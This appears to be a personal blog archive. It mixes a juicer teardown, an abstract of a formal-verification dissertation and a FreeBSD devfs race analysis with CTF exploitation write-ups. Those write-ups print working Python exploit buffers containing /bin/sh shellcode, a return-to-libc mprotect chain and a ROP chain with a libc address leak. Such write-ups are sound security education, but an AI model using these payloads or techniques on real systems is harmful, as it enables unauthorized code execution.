Sunday, 1 November 2015


Carrots, Beets, Lemons... I love all types of juices, especially first thing in the morning. Juices keep you healthy and get you started in the morning. The best juices come from slow juicers. They keep the juice from oxidizing too fast and slow juicers are a little more pleasant to the morning ear.

The juicer I had was the Kalorik FE 40764 SS. It isn't the best, it's kind of loud and under powered. Initially it worked great. Over time it would get jammed more often, almost as if the engine was loosing power. Either way, I was more or less happy with its less than perfect operation. Eventually - after less than a year of operation, it broke down. I didn't have a warranty anymore because it sat in a box for a long time after purchase.

This post is not about how happy I was, it is about how angry I got when I tried to fix the machine. I love tinkering with machines and seeing how they work - sometimes fixing them. I thought that I could try and fix this machine as well, saving space in some distant landfill.

As soon as I started taking it apart, I knew this was going to become an uphill battle. But that's ok, because I love to tinker with machines. I turned the machine upside down. What do I see? Four screws that hold the bottom in place. Two screws are regular Phillips screws and two NON-STANDARD screws!

They were some sort triangular shape screws. I've taken a lot of things apart in my life and I have never seen these, even Wikipedia does not know about them.

Was there any reason to do that? Was there any reason why the other identical two slots could take a Phillips screw but these two slots had to have a special head? That is considering the sizes and functions of ALL four screws were identical. The answer is, of course, NO! These special screws were made to prevent me from opening the machine. Well, why couldn't they just have a warranty seal like everyone else so they know when I open the machine. That is, of course, so that I would not attempt to actually fix the device even after the warranty expires.

It is kind of hard to see, but the screws were installed so deep in a cone shaped socket that most of my screw drivers wouldn't fit in. I didn't see any logical reason as to why it had to be like that... but OK, I'm not a mechanical engineer. Though, I've seen other similar machines where the cone shape and depth were unnecessary. That didn't stop me, I took out my drill and dug through the plastic freeing the motor from the rest of the encasement.

At first glance of the guts I couldn't figure out what was wrong with the machine. The symptom was weird. I could hear the motor turning and if I applied no pressure to the machine (no vegetables) it would turn the mechanisms just fine. But, it could not provide any force to crush even a blueberry. It would get stuck and make a clunking sound as if the gears were raw. That confused me as I didn't think vegetables required that much force.

Anyway, the answer lied in the transmission. The transmission is a large silver container that is on top of the motor. It receives input from the motor, reduces the speed, and increases the torque. Cool, this is the general schematics of the gears. I should tell you that I'm not a mechanical engineer so my drawing is a best guess of how to demonstrate the mechanism. Arrows are showing how the torque is transmitted.

The break occurred in the transmitting gear and that is what we will focus on. In particular, how the transmitting gear is attached to the large top gear. First, let's look at what the transmission looks like.

Another angle:

As you can see, not a lot going on. Lots of grease and four gears including the motor. The picture is a little deceiving. The transmitting gear is not actually attached to the large gear. It is, in fact, holding on by the sticky grease for the camera. The torque is transmitted via a flat screw driver type mechanism. The large gear has this bar where the transmitting gear slips in.

Cleaned up of the grease, here's what the top large gear looks like. Specifically the attachment used by the transmitting gear.

In action, the large gear is a flat head screw driver while the transmitting gear is the flat head screw. What do we know about frequent use of flat head screws? The metallic walls of the screw head WILL BEND and make the screw unusable. In this case even the bar looks to be slightly bent. So, after less than a year of near daily use, this is what the transmitting gear looks like.

Let's have a look at that from another angle:

Any cat can see that this would have happened sooner rather than later. Even a little, microscopic space between the bar and the gear head walls would've caused movement that would eventually bend the walls and refuse to provide enough force. I would assert, that it would not add significant manufacture cost to weld these gears or to have a single indivisible part. It would've even been better to have four metallic bars (think IKEA furniture) keeping the gears together.

I have to conclude that this gearing mechanism was made to fail and timed carefully to most likely to fail after the warranty has expired. Electric motors are incredibly durable. There are cars and trains made with them and those last a long time. I'm just crushing some poor vegetables, there is no reason that anything metallic should fail in that environment. This is most definitely the case of Planned Obsolescence as very well documented by this film. This is a very SHAMEFUL practice, Kalorik!

Thursday, 20 November 2014

What's a proof good for?

Reading "Weird Machines" [1] a paragraph jumped out:
Following [2], we distinguish between formal proofs and the forms of mathematical reasoning de-facto communicated, discussed, and checked as proofs by the community of practicing mathematicians. The authors observe that a long string of formal deductions is nearly useless for establishing believability in a theorem, no matter how important, until it can be condensed, communicated, and verified by the mathematical community. The authors of [2] extended this community approach to validation of software—which, ironically, the hacker research community approaches rather closely in its modus operandi, as we will explain. 
It indicates that people don't care for proof as much as they should. More chillingly it highlights how much people are driven by emotion versus reason. So, [2] quickly jumped in priority of papers to read for me.

[1] Sergey Bratus, Michael E. Locasto, Meredith L. Patterson, Len Sassaman, and Anna Shubina, "From Buffer Overflows to "Weird Machines" and Theory of Computation,"

[2] Richard A. DeMillo, Richard J. Lipton, and Alan J. Perlis, “Social Processes and Proofs of Theorems and Programs,” technical report, Georgia Institute of Technology, Yale University, 1982:

Saturday, 23 August 2014

29C3 ru1337

Let's look at another CTF challenge. This one is from the 29C3 CTF exploitation ru1337. Unlike other challenges, this one does not look like it represents a real world scenario but rather a creative puzzle.

The code is quite small. It has the basic accept - fork pattern at the beginning and runs this function:

What stands out is the call eax instruction. It looks like the code actually executes some memory from the data segment. Let's try to find out what that memory is because the call is slightly unusual. We go to analyze the first function call within this routine - sub_80487E1.

In the function we notice a call to mmap to allocate the strange memory buffer:

There are several interesting things about this call. First, it requests the location to be at 0x0BADC0DE. Second, the permissions are set to READ|WRITE but not EXECUTE. This is interesting because just above we see this mmapped buffer being executed. Fear not, the signal handler will catch the error.

Next we see that the user sends in a user name into a buffer on the stack. The recv call is requested to read 44 bytes from the socket:

The peculiar thing is that the sub instruction places the destination buffer at ebp-18h which is only 8 bytes away from the next thing on the buffer. The portion of the stack looks like this:

So, we are going to go ahead and overwrite that base pointer and return address with a buffer that is bigger than 24 bytes long. There are, however, some trivial restrictions on what our username input can be. The reader should follow to address 0x080488C8 in the binary. It will show that the username is checked to contain ASCII alpha characters and NULL or NL characters. So, to get around that we will simply provide capital letters to the username.

Next, the function will request a password which is also written on the stack at ebp-94h the 's' variable:

The 's' buffer is actually 128 bytes long and the recv call reads 128 bytes. So, there is no overflow here. However, the following statements will write to the previously mmapped buffer (dest buffer). They will use strcpy to copy both the username and the password to the dest buffer. The password will be offset by 8 bytes presumably because the username is expected to be at most 8 bytes long. For this reason we will need to make sure that first 8 bytes of the username are actually executable, but not too damaging, code.

To recap, we've seen that we can overwrite the return address, much of the stack and we can control the contents of 0x0BADC0DE. However, 0x0BADC0DE is no executable but we'd like it to be!

We notice that the binary imports the mprotect function which can change permissions on memory pages:

We shall implement the classic return-to-libc style attack. The return address of our bad function is set to 0x08048580 with 0x0BADC0DE for first parameter, 0x400 (arbitrary, really) for the length and 4 for RWX permission set. Then to run our shell code we set the return address to 0x0BADC0DE again which will let us exec a shell. The exploit code looks like this:

  buf += 'PPPP'
  buf += "PPPPAAADAAAEAAA\x00"
  buf += uint(0x0BADC000) # EBP
  buf += uint(0x08048580) # EIP
  buf += uint(0x0BADC000) # return EIP
  buf += uint(0x0BADC000) # mprotect return address
  buf += uint(0x400)
  buf += uint(0x00000004)
  buf += "AAAF"
  buf += "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f"
  buf += "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
  buf += "A"*110

  sys.stdout.write( buf )
  sys.stdout.write( ";\nls;cat flag\n" )

We just netcat that to the listener and read the flag. Simples! The reason we can use the exec /bin/sh shellcode is because the function we exploited conveniently dup2's STDIN/OUT to the socket.

Thursday, 5 June 2014


Return Oriented Programming (ROP) is all the rage! Well almost, but it is needed when you can control the stack but not be able to execute from it i.e. with ASLR and NX. In this post I present my solution to ropasaurusrex which leveraged ROP. First the overflow:

It really doesn't get easier than this. There is a buffer on the stack which is much less than 256 bytes size and there is a read into that buffer of 256 bytes. We overwrite the return address and set the EIP free. That leave instruction in the epilog means that we can't just find a 'jmp esp' somewhere and easily use it. Also, I wanted to practice my ROP skills so I didn't consider any other exploitation vectors. So, we are going to build a ROP stack.

Aside from our binary there are two loaded modules:
(gdb) info sharedlibrary  
From        To          Syms Read   Shared Object Library 
0xf7e2f420  0xf7f5e6ee  Yes (*)     /lib32/ 
0xf7fdc860  0xf7ff47ac  Yes (*)     /lib/
I will be using libc for finding my gadgets. What are gadgets? Using ROP is like lining up dominoes and then letting them fall in some path. The only difference is that in ROP we might actually be able to make decisions because we can point to conditional instructions. In this case gadgets are the domino pieces that we line up by placing their addresses on the stack. The addresses are 'return' addresses pointing to the next gadget as if the next gadget has actually called the previous. Probably a convoluted explanation but it will make sense soon.

Imagine you have the following C code:
int a = 0; 
void A() { a++; return; } 
void B() { A(); a += 2; return; } 
void C() { B(); a += 3; return; }
That, in essence represents what a ROP chain is --- a list of gadgets. Starting with function C, by the time function A is invoked the stack will contain return addresses back to functions C and B in order. The actual useful 'work' parts are the increments of the variable 'a'. For this to be a proper ROP chain we will logically take out all the call instructions to any of the function and just pretend that they happened. Then we will point EIP to the 'a++' statement and let the code run. We want to do that because we want function A to do it's operation first. When A returns, it will return 'back' to B executing 'a += 2' and so on.

With this logic we can set up a theoretically arbitrary control flow. ROP has been shown to be turing complete [1] although in practice that might be tougher to achieve. There is also a similar method called Jump Oriented Programming [2] (JOP) which uses a dispatch address table and jump instructions to control flow of execution. It is similar to how C-style switch statements operate.

Back to our code. The EIP is trivially controlled, so let's talk about what we will do with it. To practice ROP I have disabled ASLR on my Virtual Machine by writing 0 to /proc/sys/kernel/randomize_va_space. Will be looking at leaking next time. This allows me to make assumptions about where my libc module is loaded at the time of exploitation.

The target application reads/writes on the standard IO. This means that I will be feeding the exploit through a pipe on the command line. So to get the ropasaurus to execute my commands I will have it execv a shell and then have access to any sort of shell commands. For this we will need the execv shellcode... but in ROP form.

We will use the execv system call via interrupt 0x80. So, somehow, we need to set up the registers as follows. Remember linux system calls expect parameters to be passed via registers.

    EAX = 0xB              // System call number
    EBX = PTR to "/bin/sh" // File to execute
    ECX = NULL             // Program arguments
    EDX = NULL             // Program environment

Once the registers are set up we call interrupt 0x80 and the kernel takes care of the rest. I like this method because there is no need to do any clean up. The only thing we should be aware of is that the shell will start reading STDIN looking for commands. This happens after ropasaurus has read 256 bytes. So our exploit buffer needs to contain the shell commands after 256 bytes (i.e. cat /etc/passwd).

At the minimum we want to replicate the functionality of this code:

(Courtesy of the Online Disassember)

We do this by finding gadgets in the libc image. Using an online tool, ropshell, I was able to generate searchable list of all possible gadgets. Basically those are all sets of possible instructions that end with a return or a jump instruction.

So we put together a "shellcode" sequence that looks like this. Think of it as the sequence pointers to instructions to be executed not the actual instruction byte codes sent to the program. At the beginning I notice that ECX has the pointer to our buffer. So I need to pivot the stack and have ESP point to it. We point the EIP to the first instruction:

    pop edx      'preparing for the next jmp.
    mov esp, ecx 'stack pivot
    jmp edx      
    pop ecx      'now at the beginning
    pop eax      '[pop #1]

This sequence allows us to "wrap" around ESP to the beginning of our buffer which gives us more space to play. Considering how the overflow worked this might not have been entirely necessary as there would probably be enough space to write the rest of the ROP chain. But it's done now.

In each case ret and jmp instructions are set up such that they point to the the next instruction to execute. In reality the EIP is jumping all around the libc text section. Next, we set up the registers to prepare for the system call.

    push esp
    pop ebx       'point near /bin/sh
    pop esi
    add ebx, eax  '[pop #1] adjusts ebx
    add eax, 2
    pop edx       'program environment
    add al, -0x17 'set EAX to 0xB
    int 0x80

Done. Once this sequence executes we will have the shell. Notice that it is very not straight forward as compared to the nice, no hacking, solution. Here we use EAX to adjust the EBX pointer before it is fixed up to be the system call number. The stack buffer is built up using the this python code:

buf += uint(0)            # the ecx for g2
buf += uint( (0xB + 0x17 - 2) ) # the eax for g2
buf += gadget(0x0010D251) # ret of g2 going to g3:
buf += 'AAAA'             # value for esi of g3
buf += gadget(0x00143242) # g4: add ebx, eax; add eax, 2; ret
buf += gadget(0x0002E3CC) # g7: pop edx; ret
buf += uint(0)            # value of edx for g7
buf += gadget(0x0010A44D) # g6: add al, -0x17, ret
buf += gadget(0x000EA621) # g5: int 0x80
buf += '/bin'
buf += '/sh\x00'
buf += "/bin/bash\x00"

buf = padwith(buf, 0x100-4*29)

# return address (initial EIP)
buf += gadget(0x0002E3CC) # g0: pop edx; ret

buf += gadget(0x000EE100) # value of edx for gadget 0
buf += gadget(0x0002E49D) # g1: mov esp, ecx; jmp edx

buf = padwith(buf, 0x100) # make exactly 256 bytes

The addresses are the values given by the ROPShell tool but the python code outputs the corrected offsets using the base address of libc. Once executed we can feed any sort of shells commands that we want:


Update: I couldn't just let this one go without a full exploit. I've spent a little bit more time and developed a mechanism to leak out an address of a function within libc which gave me a chance to calculate the base address of the libc module.

The exploit will working like this. First we send in 256 bytes to leak out an address, then we send 256 bytes to execute a shell. It's a two stage exploit which also means that the it becomes interactive.

First, we notice that the binary was compiled without RELRO which means that the GOT PLT will be at a known address. The PLT contains dynamically generated addresses to library functions. There is a good write up of how it works on the ISISBlogs. So, we need to figure out a way to get those addresses.

The way I've done it is to point the initial return address to the write function in the PLT entry and on the stack I've put in the parameters for the write call. Essentially I simulate the call to write once the function containing a read returns. This write will send back 0x1C bytes of the PLT - the entire table. On the same stack I put in the address of the main function, so that I could start the process again allowing me another shot at the bug knowing the location of the write function. At this point, see the beginning of the blog.

The code for the leak looks like this:

   buf = padwith(buf, 0x100-4*29)

   # return address (initial EIP)
   buf += addr(0x08048312) # point to write@plt
   buf += addr(0x0804841D) # return main 
   buf += uint(1)          # STDOUT
   buf += uint(0x08049614) # point to the plt for write
   buf += uint(0x1c)       # write buffer size

   buf = padwith(buf, 0x100) 

Works every time.


[1] E. Buchanan, R. Roemer, H. Shacham, and S. Savage. When Good Instructions Go Bad: Generalizing Return-Oriented Programming to RISC. In 15th ACM CCS, pages 27–38, New
York, NY, USA, 2008. ACM.

[2] T. Bletsch, X. Jiang, V. Freeh and Z. Liang. Jump-Oriented Programming: A New Class of Code-Reuse Attack. ASIACCS ’11, March 22–24, 2011, Hong Kong, China.

Thursday, 22 May 2014

The winter of 2014 was cold.

During the months of January and February of the year 2014 I gave an objective to myself. It was to finish the masters dissertation to the point of submission. I also learned that picking a hard topic was probably not the best idea but it was certainly rewarding. Nonetheless, I still received a distinction (the Oxford version of an A) for the work. So, I'm happy share it with the world welcoming any sort of feedback.

If you're interested you can read the full paper here: The full paper

Personal computing devices and servers are becoming more powerful by the day through hardware parallelisation. Such advances require developers to look into concurrency in order to take advantage of the new computing power. However, much of the code is written without formal verification and checked only heuristically through unit or other tests. This dissertation will show how Communicating Sequential Processes (CSP) can be used to detect errors in an application that supports concurrent execution. This is done by isolating common concurrency problems and mapping them into CSP representations. Finally, Failures-Divergences Refinement (FDR) software package is used to perform refinement checks to detect the errors in the source code. This process allows the developer to build assertions that their code must pass to prove its correctness. 

I would like to thank my advisor, Dr. Andrew Simpson, and the Software Engineering Program staff for their guidance and quick responses. This project could not have been accomplished without the generosity, patience and accommodation of the family scholarship fund. I am particularly grateful to the American people for providing the opportunity and the Lithuanian people for their infinitely delicious food and heavenly honey. Finally, I wish to thank my wife, Diana, for her love, support and conversation. 

Wednesday, 21 May 2014

A simple one

CTF challenges can be great fun. One evening had a few minutes and decides to work a simple one from CSAW. It can be downloaded from Here's the break down:

A server listens on a TCP socket port 31338. It forks on a connection creating a new process for each client. The server send sends some data and reads some data into a buffer. At that point the handling function either calls exit or returns. The last part is interesting because on return the exploit can succeed and gain execution. If the exploit fails to set up the stack correctly, the process will exit without gaining execution.

This challenge is a good starter, although I would not expect this sort of a situation to come up anymore. Perhaps in old or deliberately bad software. This situation was more common in the 90's. The use in the exercise is to go through the motions of learning how stack corruption vulnerabilities work.

First, a connection comes in. The server forks to create a new process:

The handle function is called with the client socket file descriptor as the first parameter. Here we see a modern compiler convention to place the parameters on the stack using a mov instruction. Older compilers usually use the push instruction. The end result is the same because at the time of the call the first thing on the stack (i.e. [esp]) is the first parameter. This fits the calling convention used by the called function.

The handle function has several things in its stack frame: buffer, some byte variable, 32bit integer:

We see that the buffer is of size 2047 bytes due to it's large offset. Specifically, it is the distance between the buffer and the next variable. 0x80C - 0xD which is 2060 - 13 = 2047. I called the next variable 'zero' because that is the value that will be assigned to it after the overflow happens. The cookie actually simulates a stack canary implemented early on by compilers to protect against stack based buffer over flows. We'll see later how that can be over come for this challenge.

The cookie will contain a random value seeded off of the time that the handle function runs. At first glance I was thinking that we would have to try to guess it based on the approximate time of the server. But it gets better. Here we can see the assignment:

We can also see that the cookie is being saved of to a location in the data segment called secret. Later, that is how the function will know if the cookie has been corrupted.

Let's look at the next interesting chunk of code:

There are two calls to the send function. First one loads the address of the buffer as the parameter which actually sends the stack location of the buffer. Second send loads up the cookie and sends that to the client. So we really have all information we need. This would also explain the funny characters we get upon connection to the server.

Finally, the overflow occurs when the receive function is called. That is because it reads 4096 bytes into a 2047 byte buffer. 

After the receive, the zero variable is assigned with zero value (just one byte). This is here just to make things slightly harder for you. Next the cookie is checked against the secret value. If the value matches then the function jumps away to return. The return is what will trigger the exploit and give us the code execution. If the value do not, then the code falls through and executes exit.

So the stacks looks like this: 
(low addr)
 [ 2047 bytes ] | [ zero byte] | [cookie] | [ few registers ] | [return addr] | [ socket]
(high addr)

This means that we need to write to the socket a value large enough to overwrite the return address which will become the EIP when the retn instruction is executed. So the actual exploit looks like this:

This code will read from the socket the address of the buffer and the cookie which will allow us to put those values into the exploit string.

Simple! Right? Well, not if you've never done this before.

Saturday, 25 January 2014


About the same time as the pipe vulnerability there was a devfs race condition discovered. This vulnerability manifested itself by an uninitialized vnode pointer being used. The pointer would be NULL and could be used by another process before it is assigned to an actual vnode. The vulnerability doesn't have a specific "place" in the code because it results due to the product of how devfs and vfs interact. However, the fix was made in devfs.

The bug turned out to be exploitable with the exploit nicely described by XORL blog post. I will be going into a little more detail about the code paths leading to the vulnerability.

First a process tries to open a devfs file (i.e. /dev/null or similiar). This is done through the open system call which eventually executes kern_open kernel function.

kern_open(struct thread *td, char *path, enum uio_seg pathseg, int flags, int mode)
/* An extra reference on `nfp' has been held for us by falloc(). */
fp = nfp;
cmode = ((mode &~ fdp->fd_cmask) & ALLPERMS) &~ S_ISTXT;
NDINIT(&nd, LOOKUP, FOLLOW, pathseg, path, td);
td->td_dupfd = -1; /* XXX check for fdopen */
error = vn_open(&nd, &flags, cmode, indx);
Almost at the very beginning the call goes down the path of vn_open which executes the VFS specific functionalities. vn_open performs many checks, such as does the user have access to the file or are the access flags correct? It eventually passes control to the devfs subsystem for the actual device opening:

vn_open_cred(ndp, flagp, cmode, cred, fdidx)
struct nameidata *ndp;
int *flagp, cmode;
struct ucred *cred;
int fdidx;
vfslocked = 0;
fmode = *flagp;
ndp->ni_cnd.cn_nameiop = LOOKUP;
ndp->ni_cnd.cn_flags = ISOPEN |
   ((fmode & O_NOFOLLOW) ? NOFOLLOW : FOLLOW) |
if ((error = namei(ndp)) != 0)
return (error);
ndp->ni_cnd.cn_flags &= ~MPSAFE;
vfslocked = (ndp->ni_cnd.cn_flags & GIANTHELD) != 0;
vp = ndp->ni_vp;
if ((error = VOP_OPEN(vp, fmode, cred, td, fdidx)) != 0)
goto bad;
if (fmode & FWRITE)
*flagp = fmode;
ASSERT_VOP_LOCKED(vp, "vn_open_cred");
if (fdidx == -1)
return (0);
*flagp = fmode;
ndp->ni_vp = NULL;
return (error);
Here the call is passed through to devfs via the VOP_OPEN marco call.
static int
devfs_open(struct vop_open_args *ap)
dsw = dev_refthread(dev);
if (dsw == NULL)
return (ENXIO);
/* XXX: Special casing of ttys for deadfs.  Probably redundant. */
if (dsw->d_flags & D_TTY)
vp->v_vflag |= VV_ISTTY;
VOP_UNLOCK(vp, 0, td);
vn_lock(vp, LK_EXCLUSIVE | LK_RETRY, td);
fp = ap->a_td->td_proc->p_fd->fd_ofiles[ap->a_fdidx];
KASSERT(fp->f_ops == &badfileops,
    ("Could not vnode bypass device on fdops %p", fp->f_ops));
fp->f_ops = &devfs_ops_f;
fp->f_data = dev;
return (error);
So far so good, nothing terribly bad has happened, there is no memory corruption. However, the problem is that right after the VOP_UNLOCK(vp, 0, td) call another thread can start using the file descriptor. If the second thread does not check the vnode pointer then it would be in trouble. At this point the kernel has not assigned the vnode to the file descriptor (fp) structure.

This assignment happens later in the kern_open call in the same execution thread. In fact, it happens just before the function returns to the user land.
kern_open(struct thread *td, char *path, enum uio_seg pathseg, int flags,
    int mode)
if (fp->f_count == 1) {
mp = vp->v_mount;
KASSERT(fdp->fd_ofiles[indx] != fp,
   ("Open file descriptor lost all refs"));
VOP_UNLOCK(vp, 0, td);
vn_close(vp, flags & FMASK, fp->f_cred, td);
fdrop(fp, td);
td->td_retval[0] = indx;
return (0);
fp->f_vnode = vp;
if (fp->f_data == NULL)
fp->f_data = vp;
fp->f_flag = flags & FMASK;
if (fp->f_ops == &badfileops)
fp->f_ops = &vnops;
fp->f_seqcount = 1;
fp->f_type = (vp->v_type == VFIFO ? DTYPE_FIFO : DTYPE_VNODE);
The assignment marked above is where it happens. As mentioned before, it is too late by that time and there is a danger that the pointer could be used. That is exactly what happened in the exploit code. The fix was to go back to the devfs_open call, break the abstraction, and assign the vnode to the file descriptor right after the unlock happens.